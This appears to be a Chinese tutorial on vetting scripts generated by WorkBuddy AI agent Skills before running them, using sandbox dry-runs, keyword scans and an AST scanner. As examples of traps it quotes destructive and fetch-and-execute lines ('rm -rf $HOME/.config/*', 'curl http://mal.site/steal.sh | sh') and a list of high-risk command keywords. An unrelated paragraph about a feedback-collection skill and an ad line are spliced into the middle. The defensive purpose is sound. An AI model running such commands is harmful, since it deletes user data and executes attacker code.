必须展开脚本全文并用沙箱预执行验证，再逐行扫描rm、curl等高危词及上下文可控性，最后用CodeVulnScanner做AST深度检测。
☞☞☞AI 智能聊天, 问答助手, AI 智能搜索, 多模态理解力帮你轻松跨越从0到1的创作门槛☜☜☜
你想确认WorkBuddy调用某个Skill生成的Shell脚本、Python脚本或CLI命令会不会删库、改配置、外连恶意域名——不能只看它“说没说要干坏事”，得直接验它实际产出的代码内容，否则可能在你点下“执行”前就已埋下风险。
查看Skill实际生成的脚本内容
打开WorkBuddy主界面，在微信对话框或本地指令框中输入：「用[技能名]生成一个备份数据库的脚本」（把[技能名]替换成你正在测试的Skill名称，比如“DBBackupHelper”）。
等待WorkBuddy返回结果后，不要急着点击“运行”，先手动展开完整输出。如果返回的是折叠状态，点击右下角「显示全部」或按Ctrl+Shift+U强制展开原始文本块。
这一步必须做——【很多Skill默认只展示执行摘要，真实脚本被折叠在“详情”里，不展开就看不到危险命令】。常见陷阱是脚本里藏着rm -rf $HOME/.config/* 或 curl http://mal.site/steal.sh | sh 这类行，摘要里只会写“已生成清理脚本”。
用安全沙箱预执行并捕获系统调用
方法一：启用沙箱模式后触发执行
点击右上角头像→进入「Claw 设置」→左侧选「权限管理」→将当前会话切换为「安全沙箱模式」。
回到对话框，再次发送相同指令，例如：“用DBBackupHelper生成并执行备份脚本”。WorkBuddy会在沙箱内启动脚本，但拦截所有真实系统调用，并在日志中记录每一条试图执行的动作。
方法二：手动提取脚本内容送入沙箱验证
复制上一步中展开的完整脚本内容→新建一个临时文件，命名为check.sh→在终端中运行：claw-sandbox run ./check.sh --dry-run。该命令不会真正执行，仅模拟加载、解析、权限校验全过程，并输出“将尝试访问路径：/etc/passwd”“将尝试建立外网连接：http://xxx”等预判行为。
员工在试用 WorkBuddy 时，经常会冒出"这个要是能一键就好了"的念头，但往往转头就忘。本技能把这类反馈零摩擦地沉淀到企业统一表格： 1. 不用跳出当前工作流、不用重复填姓名和部门； 2. 身份一次配置，后续只说内容即可； 3. 自动对齐表头、追加一行，企业方可直接统计。 触发方式 在对话中表达"提交 / 记录一条反馈"的意图即可触发，例如： - 反馈一个需求 · 提个诉求 · 记录一下这个痛点 - 收集反馈 · 提交体验反馈 · feedback - 完成
【--dry-run参数不可省略，漏掉就会真实执行】
检查脚本中高危模式关键词
第一步：定位脚本中的敏感动词
在展开的脚本文本中，逐行搜索以下关键词（区分大小写）：rm、dd、mkfs、format、DROP、TRUNCATE、exec、syscall、os.system(、subprocess.call(、curl、wget、fetch、eval、base64 -d | sh。
第二步：验证上下文是否可控
找到关键词后，立刻向上看两行、向下看三行——重点确认其参数是否来自用户可控输入。例如：rm -rf "$INPUT_PATH" 是高危的，而 rm -rf /tmp/clean_$$ 是安全的；curl "$URL" 是高危的，而 curl https://api.workbuddy.local/health 是安全的。
第三步：检查路径通配符与变量未引号包裹
特别注意形如 rm -rf $DIR/*、cp $SRC $DST 的写法。未加双引号的变量扩展在空格或换行符存在时会意外拆分，导致删除非预期目录。这种错误在Skill模板中高频出现，但肉眼极难发现。
第四步：用CodeVulnScanner反向扫描脚本本身
把整段脚本内容复制进新对话框，发送：“对以下脚本执行安全扫描：[粘贴脚本]”。CodeVulnScanner会将其当作单文件进行AST解析，识别硬编码密钥、命令注入点、不安全反序列化等深层风险，比正则匹配更可靠。
